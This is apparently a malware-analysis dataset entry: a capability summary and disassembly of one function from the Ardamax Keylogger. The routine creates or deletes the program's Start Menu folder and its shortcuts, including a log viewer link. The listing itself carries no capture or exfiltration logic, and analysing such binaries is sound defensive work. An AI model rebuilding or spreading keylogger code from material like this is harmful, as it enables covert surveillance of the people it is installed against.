Function at 0x40d902
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x17
xor edi, edi
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 0x648]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.Ardamax_Keylogger
lea eax, [ebp - 0x648]
push eax
call esi
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
cmp dword [ebp + 8], edi
mov word [ebp + eax - 0x648], di
mov word [ebp + eax - 0x646], di
je 0x40d9a8
push 0x1e
lea eax, [ebp - 0x24]
push edi
push eax
call fcn.00428c40
lea eax, [ebp - 0x648]
mov dword [ebp - 0x1c], eax
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 3
mov word [ebp - 0x14], 0x14
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40db5c
push ebx
push edi
lea eax, [ebp - 0x648]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x43c]
push eax
call edi
mov ebx, 0x465054
push ebx
lea eax, [ebp - 0x43c]
push eax
call esi
push str.Ardamax_Keylogger.lnk
lea eax, [ebp - 0x43c]
push eax
call esi
push ebx
mov eax, 0x46e974
lea ecx, [ebp + 8]
call fcn.0040efd9
pop ecx
push dword [eax]
lea eax, [ebp - 0x230]
push eax
call edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
push dword [0x46e978]
lea eax, [ebp - 0x230]
push eax
call esi
push 0x4653e0
lea eax, [ebp - 0x230]
push eax
call esi
push 0x465140
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.0040d886
push ebx
mov eax, 0x46e974
lea ecx, [ebp + 8]
call fcn.0040efd9
pop ecx
push dword [eax]
lea eax, [ebp - 0x230]
push eax
call edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
push dword [0x46e978]
lea eax, [ebp - 0x230]
push eax
call esi
push 0x465048
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40dad7
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x43c]
push eax
call edi
push ebx
lea eax, [ebp - 0x43c]
push eax
call esi
push str.Help.lnk
lea eax, [ebp - 0x43c]
push eax
call esi
push 0x4661a4
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.0040d886
push ebx
mov eax, 0x46e974
lea ecx, [ebp + 8]
call fcn.0040efd9
pop ecx
push dword [eax]
lea eax, [ebp - 0x230]
push eax
call edi
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.0041ad22
push 0x4653f8
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40db5b
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x43c]
push eax
call edi
push ebx
lea eax, [ebp - 0x43c]
push eax
call esi
push str.Log_Viewer.lnk
lea eax, [ebp - 0x43c]
push eax
call esi
push str.Ardamax_Keylogger_Viewer_1.7
lea eax, [ebp - 0x43c]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.0040d886
pop ebx
pop edi
pop esi
leave
ret 4